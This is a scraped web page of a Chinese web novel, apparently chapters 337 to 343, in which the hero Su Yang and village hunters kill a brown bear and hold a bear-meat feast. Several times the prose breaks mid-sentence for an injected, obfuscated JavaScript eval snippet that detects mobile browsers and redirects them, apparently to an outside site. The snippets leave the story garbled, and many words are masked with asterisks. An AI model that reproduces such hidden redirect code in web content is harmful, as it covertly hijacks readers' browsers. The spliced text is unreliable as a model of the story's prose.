好在前些日子刚下过雪,天气又冷,积雪未化。 大伙儿用绳索捆住了巨兽,直接在雪地上拖着走,省了不少力气。 一番生死较量之后,大家紧绷的神经都松弛下来。 先前的紧张劲儿一泄,全都摆烂躺平,连走路都没了力气,只想快点回去歇着。 苏阳也一样。 他把蹬张**往背上一甩,不紧不慢地走在队伍中间,一边走,一边活动着有些僵硬的肩膀。 前些日子光顾着找熊,竟没顾上好好看看这景色,真是可惜了。 人啊,果然是不能闲下来。 苏阳刚穿越那会儿,食不果腹,衣不蔽体,冻得直哆嗦,哪还有心思赏雪? “汪!汪汪!” 突然,一阵急促的犬吠声划破了山林的宁静。 这突如其来的变故,让众人的神经再次紧绷起来。 还没等众人反应过来,身后就传来一声震耳欲聋的咆哮。 不同于黑熊的闷吼,这声音更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634465|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高亢尖锐,仿佛带着一股摄人心魄的力量。 沉重的脚步声夹杂着粗重的喘息,由远及近,迅速逼近! 这突如来的一嗓子,直接把几个胆小的吓得一个激灵,差点没尿了裤子。 先前的黑熊已经够吓人了,可这咆哮声更甚,而且是从背后袭来,毫无防备之下,不少人感觉自己的心脏都快跳到嗓子眼了! 孔远山更是夸张,只觉得两腿一软,“扑通”一声跌坐在雪地上,脸色煞白,浑身抖得像筛糠一样。 苏阳猛一回头,只觉得一股寒气从脚底直窜头顶,浑身的汗**都竖了起来! 只见一头体型巨大的野兽,正朝着他们狂奔而来。 这野兽浑身棕褐色的毛发,在阳光的照射下泛着一层油亮的光泽,四肢粗壮有力,每一步都踏得积雪四处飞溅,气势汹汹,宛如一辆横冲直撞的战车! 和之前那头黑熊比起来,这家伙的体型至少大了一倍有余,简直就像一座移动的小山! 苏阳的视线迅速扫过这头猛兽,心中已然有了判断——这是一头大棕熊,而且是处于极度愤怒状态的大棕熊! 几乎是出于本能的反应,几个眼尖手快的猎人,下意识地将手中的猎刀投掷了出去! 几点寒光在空中闪过,那是几把锋利的猎刀,平日里剥皮割肉无往不利,可此时此刻,却显得如此的无力。 猎刀打着旋飞向大棕熊,却连它的皮**都没能伤到,只是“叮叮当当”地掉落在雪地上,发出一阵清脆的声响。 面对这头体重近千斤的庞然大物,几把猎刀显然起不到任何作用,甚至连让它减速都做不到。 大棕熊似乎根本没注意到这些小玩意的攻击,它眼中只有前方那些惊慌失措的人类。 只见它低吼一声,猛地加速,扬起那比人脑袋还大的熊掌,朝着队伍的末尾狠狠拍去! 狗在危急时刻会狂吠着撕咬,而熊则更喜欢用它那巨大的熊掌拍击、抓挠。 这一下要是拍实了,骨头都得碎成渣! 队伍的最后,正是吓得瘫坐在地上的孔远山。 他瞪大了眼睛,眼睁睁地看着那巨大的熊掌朝自己落下,却连躲避的力气都没有,只能绝望地闭上了眼睛。 “远山哥!快躲开!” “你**倒是动啊! 第三百三十八章 ” 同伴们声嘶力竭地呼喊着,却无济于事。 孔远山的大脑一片空白,身体仿佛被冻僵了一般,完全不听使唤。 就在这千钧一发之际,两条猎犬猛地窜了出来,一左一右扑向了大棕熊! 它们虽然刚吃饱了熊肉,浑身像灌了铅,但护主心切,依旧奋不顾身地冲了上去。 大灰狗高高跃起,一口咬向大棕熊的后颈。 大白狗则机敏地扑向了大棕熊的下盘。 然而,这头大棕熊的实力远超之前的黑熊,一身的腱子肉,加上厚实的皮**,根本不是两条猎犬能够轻易撼动的。 大棕熊只是稍微停顿了一下,便继续朝着孔远山扑去。 它似乎铁了心要将这个“猎物”置于死地,哪怕身上挂着两条疯狂撕咬的猎犬,也丝毫不为所动。 “砰!” 一声闷响,打破了这紧张的气氛。 就在这电光火石之间,苏阳出手了! 他迅速从背上取下蹬张**,几乎没有瞄准,便果断地扣动了**! 大棕熊正欲对孔远山下死手,身体微微前倾,胸膛暴露无遗。 **箭如闪电般射出,精准地命中了它的胸口! “噗嗤!” 锋利的箭头撕裂皮肉,深深地嵌入了大棕熊的身体。 吃痛的大棕熊发出一声震天的怒吼,声音中充满了痛苦和愤怒。 这一下,虽然没能直接要了它的命,却也让它暂时停止了攻击。 大棕熊猛地转过身,一双血红的眼睛死死地盯着苏阳,仿佛要将他生吞活剥一般。 刚才那一箭,彻底激怒了这头凶猛的野兽。 它放弃了近在咫尺的孔远山,转而将目标锁定在了苏阳身上。 苏阳射出那一箭后,便立刻意识到不妙。 为了保证射击的精准度,他不得不从队伍中走出几步,与其他同伴拉开了一段距离。 而这段距离,对于大棕熊来说,根本不算什么! 只见大棕熊四肢着地,猛地一蹬,庞大的身躯如同离弦之箭般,朝着苏阳猛扑过去! 它每一步都踏得地面微微颤动,气势骇人。 孔远山险死还生,连滚带爬地躲到了一旁,暂时脱离了危险。 可苏阳却陷入了绝境! “苏阳哥!小心身后!” 同伴们的惊呼声此起彼伏,却没有任何办法。 众人与苏阳之间还隔着几米的距离,就算想帮忙,也来不及了。 更何况,面对如此凶猛的大棕熊,他们手中的**短刀,根本起不到任何作用。 两条猎犬也察觉到了苏阳的危险,它们更加疯狂地撕咬着大棕熊,试图阻止它的行动。 大灰死死咬住棕熊背上的皮肉,大白则瞅准了时机,一口咬向了大棕熊的要害! 这头大棕熊是公的,两腿之间,明晃晃地挂着两个硕大的睾丸。 大白狗这一口,正中目标! 只是,大棕熊的那玩意儿实在太大了,大白狗的嘴巴再大,也没能一口吞下,就叼走了一只……“嗷呜……” 凄厉的惨嚎声仿佛要把这片山林都震塌。 大棕熊吃痛,庞大的身躯猛地人立而起,像一堵墙般遮天蔽日! 苏阳瞅准了这稍纵即逝的空档, 腰刀出鞘,寒光一闪, “噗”地一声, 精准无比地捅进了大棕熊张开的血盆大口! “嗷呜……” 这声痛嚎硬生生被憋回了嗓子眼。 蛋疼,本就是难言之痛。 现在,嘴更疼! 周围几个小子全看傻了,一个个呆若木鸡,大气都不敢喘。 近,实在是太近了! 苏阳和那熊嘴之间的距离,不过一臂之隔。 这畜生要是发狂,随便一扑…… 苏阳岂不是要血溅当场? 几个小子紧张得手心都捏出了汗,死死盯着苏阳,生怕错过任何一个细节。 出乎意料的是,剧痛之下,大棕熊并没有立刻反扑苏阳。 它举起巨大的熊掌,捂住被钢刀刺穿的嘴巴,似乎想把那该死的“暗器”**。 就是现在! 苏阳心头一凛,生死关头,容不得半点犹豫。 若不是穿越后这副身板远超常人,再加上多次搏命厮杀练出的敏捷反应。 恐怕早就成了这畜生的掌下亡魂! 他深知眼下的局势有多凶险。 大棕熊随时可能再次扑来。 必须速战速决! 电光火石之间,苏阳猛地向后一跃, 抽刀, 后撤! 整套动作如行苏流水,没有一丝拖泥带水。 “扑哧!” 一道血箭飙射而出, 像坏掉的水龙头一样, 喷了苏阳满头满脸,热烘烘的液体带着浓烈的腥气,糊住了他的眼睛! 这一下,苏阳心头更是一沉! 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634466|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畜生,生命力太顽强了! 受了这么重的伤,竟然还能行动! 棕熊已经完全失控,喉咙和下体的剧痛让它失去了理智。 它瞪着血红的双眼,四肢着地,猛地向前一扑! 势必要把眼前这个渺小的人类撕成碎片! 可它低估了大白的“敬业”精神。 就在大棕熊发力的瞬间, 大白也用尽全身力气,向后猛扯! “嘶啦——” 一声让人头皮发麻的撕裂声响起。 一个硕大的熊蛋,竟然被大白硬生生地拽了下来,鲜血淋漓! 大棕熊发出一声震耳欲聋的惨嚎,这声音里充满了绝望和痛苦。 下体的剧痛和喉咙的伤势叠加在一起,让它再也支撑不住。 “砰!” 一株需要双人环抱的巨木,被这含恨一击直接拍中。 树干剧烈摇晃,足足晃了半分钟才缓缓停稳。 枯枝败叶,“咔咔”地往下掉落,像是下了一场枯叶雨。 大棕熊则像一堆烂泥般瘫倒在地。 大灰和大白一左一右,猛地扑了上去,疯狂撕咬着,发泄着心中的怒火。 苏阳长长地出了一口气,只觉得浑身虚脱,双腿发软。 后怕,一阵强烈的后怕感如潮水般涌来。 刚才他向后急退时,后背正好贴到这棵粗壮的柳树上。 刚站稳,大棕熊的巨掌就挟着劲风到了。 苏阳下意识地向旁边一闪,堪堪躲过。 大棕熊的巨掌,结结实实地拍在了树干上。 发出了一声震耳欲聋的巨响。 这么粗的柳树都被拍成这样,要是拍在人身上…… 苏阳简直不敢想象那样的后果。 真要是被拍上了, 莫要觉得自己是孤身一人, 就算是一头成年的野牛, 恐怕也得当场毙命! 苏阳惊魂未定,心有余悸。 其他人更是被吓得魂飞魄散,一个个脸色煞白,呆立在原地。 刚才苏阳遇险,电光火石之间,实在太快了。 大伙儿想救都来不及。 陈木生、路旭东几个反应还算快的, 倒是手忙脚乱地从背上摘下了**弓。 可端着,瞄准, 愣是没敢扣动**! 他们担心误伤苏阳。 几个人心里都明白,真要那样,他们就成了千古罪人。 第三百三十九章 就这么一犹豫,一迟疑的功夫, 苏阳就差点交待了! 万幸!老天保佑! 这么凶猛的一头畜生,都没能伤到苏阳, 真是吉人自有天相! 看来苏阳之前说的一点都没错, 他真是天上的神仙下凡! 不然怎么解释他屡次化险为夷? 那两个依山村的猎人,双腿抖得像筛糠一样。 他们倒不是怕熊, 而是怕苏阳有个好歹,自己担不起责任。 他们这些外村的向导,要是让苏阳出了事, 回去之后,还不得被卧龙寨的人给活剐了? 陈木生红着眼睛,不知是恐惧还是激动, 他端起**,对着熊头就是一箭。 两个依山村的猎人也回过神, 连忙举起弓,又补了两箭。 这是规矩,不管打死的猎物有多大,都得补上几下。 以防万一。 “阳哥儿!” “二哥!” 众人这才反应过来, 呼啦一下围了上去。 “你没事吧?” “伤着哪儿没有?” 七嘴八舌的声音响成一片, 大家伙儿把苏阳围在中间, 上上下下,仔仔细细地检查起来。 摸摸胳膊,看看腿, 就差没把苏阳的衣服扒下来仔细检查了。 确定苏阳毫发无损, 众人悬着的心这才放回了肚子里。 真不是装的, 苏阳要是有个三长两短, 他们这些人,一个都别想好! 村里人能把他们给撕了! “都没事吧?” 苏阳抹了一把脸上的血,定了定神,问道。 “没事!我们没事!” “阳哥儿,都怪我们没用……” “是我们拖了你的后腿……” 几个小子说着说着,眼圈就红了。 “行了行了,都别说了!” 苏阳打断了他们的话, “大老爷们,哭哭啼啼的像什么样子!不嫌丢人?都给我把眼泪憋回去!” 他心里清楚,这帮小子是真被吓着了。 也是真关心自己。 但苏阳实在不喜欢这种婆婆妈妈的场面。 “都散开,散开!围着**什么?都去看看大白和大灰,它们怎么样了!” 苏阳一边说着,一边推开围在身边的人。 几个小子这才想起受伤的大白和大灰, 赶紧跑过去查看。 依山村的两个猎人和钱福生站在一旁, 看着眼前的一切, 心里头五味杂陈。 他们都是经验丰富的老猎人, 自然看得出来, 这帮小子对苏阳的关心和敬佩, 都是发自内心的,没有半点虚假。 这得是多深厚的感情,才能做到这一步啊? 人家苏阳小小年纪就能当上副巡检, 带着一帮兄弟出生入死, 还真不是没有道理的! 能让手下的人这么服他,这么敬他, 这本事,可不是一般人能有的!猎犬吠叫着,在林间穿梭,牵着它们的老猎人则紧随其后,目光如炬,不放过任何蛛丝马迹。阴弓叔快步折返,脸上带着几分凝重,指着不远处被积雪半掩的一块巨石: “快看!石头后面有个洞穴,那大虫应该就是从那里头出来的!” 几位上了年纪的猎户交换了一个眼神,都从对方眼中看到了一丝后怕。 “这畜生怕是被黑熊的叫声给惊醒的。” “可不是,冬眠的野物,警觉得很,寻常动静倒还罢了……” “但另一头熊的气味,足够让它跳起来!这是要争地盘啊!” “也说不准,兴许是闻着血腥味儿了,怕自己也遭毒手……” 老猎户压低了声音,话语里带着几分忌惮。 刚刚经历的生死搏杀,像一块阴苏,笼罩在每个人的心头。 “都打起精神来!继续搜!仔细着点儿,别再出岔子了!” 阴弓叔到底是经验老道,一声低喝,把众人从沉闷的气氛中拉了出来。 猎户们不敢怠慢,强打精神,分散开来,在附近来回转悠,不敢有丝毫松懈。 钱福生却仿佛充耳不闻,他的全部注意力都集中在了那头已经没了气息的大棕熊身上,眼神炙热得吓人。 苏阳之前跟他提过一嘴的活熊取胆,就像是一把小钩子,勾得他心痒难耐。 眼下这大好的机会,他哪里肯错过? 不等苏阳吩咐,钱福生就迫不及待地搓着手,主动请缨: “苏哥儿,这开膛破肚的粗活儿,就交给我老钱吧,保证给你弄得妥妥当当!” 突然,钱福生怪叫一声: “嚯!好家伙,铜胆!” 这突如其来的一嗓子,把刚缓过神来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可见识了苏阳那些“惊世骇俗”的理论之后,钱福生才明白,这小子压根就不是正经学医的! 什么“人体解剖”、“循环系统”、“神经系统”…… 听起来玄乎得很,实际上根本就经不起推敲! 第三百四十章 在钱福生看来,苏阳就是个走了歪门邪道的半吊子。 当然,还有一种可能,就是像村里人传的那样,苏阳是天上的星宿下凡,生来就带着这些稀奇古怪的知识。 要不然,一个在山沟沟里长大的泥腿子,怎么可能懂这么多乱七八糟的东西? 这头大棕熊的体型,比之前那头黑熊大了可不止一圈。 估摸着,怎么也得有七八百斤重。 就算把内脏掏空,放干了血,也轻不到哪儿去。 想把这么个庞然大物弄出山,难度不是一般的大。 苏阳环视一圈,见众人一个个都低着头,一副垂头丧气的模样。 他知道,这是被刚才的意外吓得不轻。 “都给我抬起头来!” 苏阳提高了嗓门, “一个个耷拉着脑袋,像什么样子?熊都**了,还怕个球!” 他顿了顿,语气缓和了一些: “都好好想想,怎么把这大家伙弄出去,别都指望别人!” 几乎是下意识的,所有人的目光都集中在了孔远山身上。 平日里,孔远山最是活跃,脑子也转得快,这种时候,他不正是该出风头的时候吗? 孔远山的脸涨得通红,眼泪在眼眶里直打转。 羞愧、懊恼、后怕……各种情绪交织在一起,社死到想原地消失。 苏阳见状,也有些懵了。 不过就随口一问罢了,怎么还把人给问哭了? 其实,孔远山是真的被吓坏了。 连续两次与死神擦肩而过,让他到现在都还没缓过神来,脑子里一片空白,连话都说不利索,更别提什么出主意了。 见孔远山不吭声,众人的目光又齐刷刷地转向了路旭东。 这小子平时也没少跟孔远山争功,现在怎么也哑火了? 路旭东低着头,恨不得把脑袋埋进土里。 刚才要不是他失职,苏阳也不至于险些丧命熊口。 这会儿,他哪里还有脸出风头? 苏阳见众人一个个都跟霜打的茄子似的,心知这样下去不行。 士气如此低落,要是再遇上什么危险,后果不堪设想。 “这样,咱们来点儿提神的!” 苏阳拍了拍手, “都给我站好了,听我口令,咱们唱个小曲儿!” 众人面面相觑,都有些摸不着头脑。 这都什么时候了,怎么还有心思唱歌? 可苏阳是头儿,他的话就是命令,众人不敢不听。 “大河向东流哇……” 苏阳起了个头,声音洪亮,中气十足。 “天上的星星参北斗哇……” 众人有气无力地跟着唱了起来,声音稀稀拉拉,毫无气势可言。 “嘿!嘿!参北斗哇!” 苏阳猛地拔高了嗓门,声音里带着一股子不容置疑的威严。 “生死之交一碗酒哇!” “说走咱就走哇!” “你有我有全都有哇!” …… 在苏阳的带动下,众人的声音渐渐高亢起来,歌声中也多了一丝豪迈的气息。 几遍唱下来,众人的精神头明显好了许多,原本低落的士气也得到了极大的提升。 苏阳暗自点了点头,心想这招果然有效。 他清了清嗓子,正准备再说点什么,却被钱福生不耐烦的声音打断了: “我说你们几个,还有完没完了?唱!唱!唱!唱丧呢?有这力气,还不如过来帮我把这熊给收拾利索了!”“都住手!” 一声断喝,惊得钱福生等人手上一哆嗦,险些把虎骨捅了个对穿。 苏阳沉着脸走上前。为了搬运方便,他让钱福生把这头大棕熊剥皮剔骨。可这大家伙,光靠钱福生一个人,累断腰也弄不完。 几个猎户见状,赶紧围拢过来,七手八脚地帮忙。一通忙活,总算把这庞然大物给肢解了。 “做几个爬犁,”苏阳一边吩咐,一边踢了踢厚实的熊皮,“把熊肉放上去拖着走。这熊皮留着,村里的皮匠正等着好料子做皮甲呢。” 前几日刚落了场大雪,厚厚的积雪还没化,正好方便爬犁滑行。 一行人拖着满载熊肉的爬犁,深一脚浅一脚地朝前挪着。 到了先前猎杀野猪的地方,苏阳又让人做了个简易爬犁,把除了内脏、还剩小二百斤的野猪也抬了上去。不同的是,这回他让几个身强力壮的小伙子轮流替换着拖。 沉重的爬犁碾过积雪,发出“咯吱咯吱”的声响,每一步都走得异常艰难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639557|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没过多久,日头开始偏西,一行人却还被困在青岭里,远远望不见边。 “阳哥儿,不能再这么硬挺了,”阴弓叔擦了把额头的汗珠子,气喘吁吁地凑到苏阳身边,“再这么下去,天黑透了也出不去,弟兄们可就危险了!” “是啊,大家伙儿都快脱力了。”有人小声附和,声音里透着疲惫。 队伍里起了阵骚动。有人提议,干脆把野猪扔了,轻装赶路。 这话一出,立刻就有人表示了反对,声音还带着哭腔:“这……这可是肉啊!能救命的肉啊!” 阴弓叔张了张嘴,想说些什么,最终却只是重重地叹了口气。 他太清楚挨饿的滋味了,前些日子,要不是苏阳,他们一家老小早就饿**。现在要他眼睁睁看着这么多肉被丢弃,心疼得跟刀割一样。 两个依山村来的猎户更是把脑袋摇得像拨浪鼓,恨不得把那提议扔肉的小子给生吞活剥了。这么大一头野猪,在他们村里,能换个黄花大闺女当媳妇! “阳哥儿,要不……你们先走,”阴弓叔一咬牙,像是豁出去了一般,“我留下守着,明儿天一亮,明儿让手下来带我?” 两个猎人互相递了个眼色,也壮着胆子开口:“我们也能留下,山里头过夜,对我们来说不算啥……” “闭嘴!”苏阳厉声打断了他们,“阴弓叔,还有你们,都给我听好了!”他顿了顿,加重了语气,“咱们的规矩,啥时候都是人最重要!人在,就有希望!人要是没了,那就真的一了百了!” 掷地有声的一番话,让两个猎人羞愧地低下了头。 他们心里清楚,自家村正夏岭,平日里就知道作威作福,从来不把村民的死活放在心上。跟眼前这位巡检老爷一比……简直一个天上,一个地下! “超……阳哥儿……有……有野兽!” 孔远山突然扯着嗓子尖叫起来,声音都变了调,可见真是吓破了胆。 众人心头一紧,今天这是捅了野兽窝了? 顺着孔远山手指的方向望去…… “**,孔远山你个怂货,哪来的野兽,赫然是一帮家伙!”几个小子回过神,气得七窍生烟,恨不得把孔远山那张臭嘴给缝上。 苏阳倒没说什么,只是轻轻拍了拍孔远山的肩膀,示意他镇定。 第三百四十一章 人影越来越近,大伙儿终于瞧见,原来是卧龙沟厂区上的帮工们。 带头的是几个先前送伤员回去的小子,他们回去之后越想越不放心,一合计,干脆叫上几十号人,抄家伙、拿绳子,浩浩荡荡地进山来接应。 苏阳心头一热。 今天大伙儿又是找猎物,又是杀猪宰熊,早就累得不行了。现在又多了这么多东西要搬,没这些人帮忙,还真不知道啥时候能走出这麻山。 有了帮工们的协助,在天色完全黑下来之前,一行人总算有惊无险地回到了卧龙沟北岸。 山外,早已聚拢了一大群人,翘首以盼。 一见苏阳他们平安回来,人群立刻沸腾起来,爆发出震耳欲聋的欢呼。 要不是碍着苏阳的身份,估计早就有人冲上来,把他抛起来撒花了。 当人们看到爬犁上拖着的“战利品”时,一个个惊得眼珠子都快瞪出来了。 一头大野猪? 嗨,这算个啥!这段时间,大伙儿隔三差五就能吃到野猪肉,早就**以为常了。 可一头黑乎乎、毛茸茸的大熊…… 不少人吓得“妈呀”一声怪叫,连滚带爬地往后躲,生怕这死熊突然跳起来咬人。 几个胆小的婆娘更是扯着嗓子尖叫,声音都快把天给捅个窟窿。 直到苏阳让人把几大块熊尸拼到一起,场面才渐渐安静下来。 所有人的目光,都死死地盯着那头重新组合起来的大棕熊,仿佛看到了什么不可思议的东西。 这……这还是野兽吗? 简直比村头老槐树还粗壮!比说书先生嘴里的妖怪还吓人! 要是在山里碰上这么个玩意儿,多少条人命都不够填的! 可就是这么个凶神恶煞般的大家伙,竟然被苏阳给干掉了,而且还是用刀亲手捅死的! 人群中,有人“咕咚”一声咽了口唾沫,打破了沉默:“阳哥儿……真是神了!” “是啊,阳哥儿肯定是天上的神仙下凡!” “没错,要不咋能降服这么大的妖怪!” …… 赞叹声、惊呼声此起彼伏,汇聚成一片嘈杂的声浪。 突然,人群中爆发出一个愤怒的声音: “你们几个兔崽子,还有脸在这儿站着?!” 众人循声望去,只见路旭东的老爹路正分,正瞪着一双牛眼,指着路旭东等人破口大骂。 “进山之前,老子是怎么跟你们交代的?保护阳哥儿!保护阳哥儿!你们倒好,竟然让阳哥儿亲自去杀熊!你们的脑子都让狗吃了吗?!” 路旭东被骂得狗血淋头,却不敢还嘴,只是低着头,一个劲儿地认错。 几个跟他一起进山的小子,也都吓得脸色煞白,大气都不敢出。 人群中,一些原本还沉浸在兴奋、激动中的人,渐渐回过味来。 对啊! 当时那么多人,咋能让阳哥儿一个人去冒险呢? 万一阳哥儿有个三长两短,那大家伙儿的好日子,岂不是要跟着一起完蛋? 这个念头像瘟疫般在人群中蔓延开来,所有人都感到一阵阵后怕。 “杀熊的时候,你们都在干啥?都**是**吗?!” “平日里一个个吹牛皮,说自己多厉害多厉害,真到了节骨眼上,咋都怂了?” “一群废物!饭桶!要你们有啥用!” …… 人群中,责骂声、质问声越来越响,几个进山的小子被围在中间,脸色一阵青一阵白,恨不得找个地缝钻进去。 那些小子的家人,更是把头埋进了裤裆里,连声都不敢吭一下。 他们心里也明白,这事儿要是传出去,自家娃儿以后在村里可就别想抬起头做人了。 更有一些人,后怕之余,心里头也开始打起了小算盘……“都歇够了吧?今儿个表现不错,明天还想吃肉的,就都给我把活干漂亮喽!” 苏阳一声吆喝,嗓门比平时还大了几分。 他没让众人的骚动继续扩大,得赶紧把这帮家伙从兴奋劲儿里拽回来。 上山帮忙干活的时候,还是在厂区干活的,今天都算立了功。 一个人爽不如大家一起嗨,有福同享,有肉同吃,这才像话。 再说,活在一个充满欢笑的环境里,总比周围的人都苦着脸强。 “真……真能吃上熊肉?” 人群里,一个年轻后生揉了揉眼睛,声音都有些发颤,生怕是自己听错了。 不少帮工也都面面相觑,一脸的难以置信。 前阵子还饿得两眼发昏,这才几天啊,就能吃上熊肉了? 苏阳也不多解释,只是笑着招呼大家伙儿赶紧趁热吃。 众人忙着手上活计,苏阳也没闲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他没教那些繁琐的算筹,而是直接教了她阿拉伯数字。 第三百四十二章 林绮娘在这方面也展现出了惊人的天赋, 短短时间内,就已经能玩转大数字运算了, 九九乘法表早就刻进DNA里了。 就连苏阳这个现代人,都对她的进步速度感到惊讶。 要说聪明,林绮娘或许不是最拔尖的。 但要论刻苦,她绝对是数一数二的。 而且,苏阳发现,这丫头在数学方面, 似乎天生就比别人强一些,一点就透。 有了林绮娘这个得力助手,苏阳才能放开手脚, 去做自己想做的事情。 毕竟,在这个时代,一个靠谱的后勤, 可比什么都重要。 与其把这些交给外人,还是自家人靠谱? 大元朝可不比后世,女子从一而终的观念深入人心。 林绮娘就是个小天使,虽然平日里对钱晓柔有些戒备, 但对钱福生这位老郎中却是十分敬重, 她觉得,能免费给乡亲们看病的人, 绝对是个大好人。 “钱叔,您就放心吧,这虎骨我肯定给您看好了!” 林绮娘再次保证道。 钱福生虽然对苏阳这个“觊觎”自家闺女的小子没啥好感, 但对林绮娘这个懂事的小姑娘却是十分喜欢。 “唉,这孩子简直就是小天使,咋就跟了苏二这小子呢?真是可惜了……” 钱福生在心里暗暗叹息, 却也对林绮娘的承诺十分放心。 虎骨处理完毕,钱福生又开始忙活起熊鼻子和熊膝盖。 按他的说法,熊鼻子可以治疗癫痫,熊膝盖骨则能祛风湿。 至于真假,苏阳也不清楚, 反正听老钱的,总归是没错的。 见苏阳一副半信半疑的样子,钱福生顿时就不乐意了, 他瞪圆了眼睛,吹胡子瞪眼地说道: “怎么,你小子还不信我?我老钱行医这么多年,还能骗你不成?” 苏阳嘿嘿一笑,没有接话。 第二天中午,香气四溢的熊肉宴如期举行。 大块的熊肉被炖得酥烂入味,油脂在口中融化, 那滋味,简直让人欲罢不能。 “香!实在是太香了!” “这辈子能吃上这么一口熊肉,**也值了!” “可不是嘛,以前别说吃熊肉了,连想都不敢想啊!” “跟着阳哥儿,就是有肉吃!” 众人一边大快朵颐,一边赞不绝口, 看向苏阳的眼神中,充满了感激和敬佩。 苏阳深知,熊身上最精华的部分, 莫过于熊掌。 这玩意儿在后世可是人尽皆知的美味, 但在信息闭塞的古代, 知道的人却寥寥无几,更别提吃了。 整个青龙村这么大,除了苏阳, 竟然没有一个人知道熊掌的妙处。 所以,当苏阳把炖好的熊掌端上桌时, 大家都有些愣神, 看着那黑乎乎、毛茸茸的玩意儿, 一时间竟没人敢动筷子。 在他们看来,那玩意儿就是熊的爪子, 再怎么炖,也还是一堆骨头。 放着那么多香喷喷的肉不吃, 去啃骨头,那不是傻吗? 可是,当大家发现苏阳不仅自己抱着个熊掌啃得津津有味, 还招呼林绮娘和王婶她们一起吃的时候, 众人的心思顿时活络起来。 “苏阳这小子,平时看着挺精明的,咋今天这么傻?” “是啊,放着好好的肉不吃,非要去啃那熊爪子?” “不对劲,这里面肯定有事!” “你们忘了?阳哥儿可从来不做亏本的买卖!” “莫非……这熊掌真是什么宝贝?” 就在众人议论纷纷的时候, 钱福生姗姗来迟。 他一进门,就看到苏阳、林绮娘和王婶几人, 正围坐在一起, 津津有味地啃着熊掌, 而自己的宝贝闺女钱晓柔, 却只能在一旁吃着普通的熊肉。 钱福生顿时气不打一处来, 他“砰”的一声,将手中的碗重重地放在桌上, 怒气冲冲地质问道: “苏二,你啥意思?你们几个吃熊掌,就让晓柔吃肉?你这叫待客之道?” “钱叔,您这是说的哪儿的话?”苏阳一脸无辜地说道, “这熊掌……它不是还没炖烂吗?我寻思着,先让绮娘她们尝尝咸淡……” “没炖烂?”钱福生冷哼一声, “我看你就是偏心!好东西都留给自家人,亏你还说得出‘有福同享’这种话!” 钱福生说着,直接从锅里捞出几块熊掌, 放到了钱晓柔的碗里。 “晓柔,吃!以后少跟这种人来往,光说不练假把式!” 小丫鬟翠环一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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切,那玩意儿也就哄哄那些没见过世面的穷鬼。 有肉吃,谁还费劲巴拉地啃骨头啊? 既然陈木生都说熊掌不好吃了,那肯定错不了,大伙儿自然也就没了尝试的心思。 第三百四十三章 毕竟熊肉就这么多,村里几十号青壮年,外加几百个干活的帮工,哪能敞开了吃? 苏阳也只炖了一头熊,熊掌更是金贵,总共就那么几个。 要是大伙儿都抢着吃熊掌,那别人还吃啥? 可是,吃着吃着,大伙儿就觉得味儿不对了。 陈木生那小子,咋专挑熊掌吃呢? 他碗里,满满当当堆得像小山一样,全是黑乎乎的熊掌,连一块肉阳子都瞧不见! 孔远山脑子转得快,刚打好的饭,筷子还没动呢,眼珠子一转,立马把碗推到了一边。 “哎呀,瞧我这记性!” 他装模作样地一拍脑门, “最近上火,牙疼得厉害,吃不了硬东西,还是啃几块骨头算了。” 说着,他眼疾手快,从锅里捞出几块熊掌,一溜烟躲到墙角,猫着腰,埋头苦干,那架势,生怕被人抢了似的。 都是一个村里刨食吃的,谁还不了解谁那点小心思? 在场的,有一个算一个,都是人精。 一看陈木生和孔远山这俩货的反常举动,还有啥不明白的? 这熊掌,绝对不简单! 